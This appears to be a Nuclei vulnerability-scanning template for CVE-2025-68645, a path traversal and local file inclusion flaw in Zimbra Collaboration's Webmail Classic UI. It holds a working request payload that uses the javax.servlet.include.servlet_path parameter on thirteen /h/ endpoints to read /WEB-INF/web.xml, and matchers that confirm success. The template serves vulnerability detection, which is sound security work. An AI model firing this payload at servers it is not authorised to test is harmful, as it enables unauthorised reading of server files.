id: CVE-2025-68645

info:
  name: "Zimbra Collaboration - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A Local File Inclusion (LFI) vulnerability exists in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0
    and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet. An
    unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request
    dispatching, allowing inclusion of arbitrary files from the WebRoot directory.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-68645&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact
  classification:
    cve-id: CVE-2025-68645
  metadata:
    verified: false
  tags: cve,cve2025,zimbra,zcs,lfi,vkev,kev,vuln
http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

    payloads:
      path:
        - "h/rest"
        - "h/changepass"
        - "h/imessage"
        - "h/postLoginRedirect"
        - "h/printcalls"
        - "h/printcalendar"
        - "h/printvoicemails"
        - "h/printappointments"
        - "h/printcontacts"
        - "h/printconversations"
        - "h/printmessage"
        - "h/printtasks"
        - "h/viewimages"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?xml version"
          - "web-app>"
          - "Zimbra"
        condition: and

      - type: status
        status:
          - 200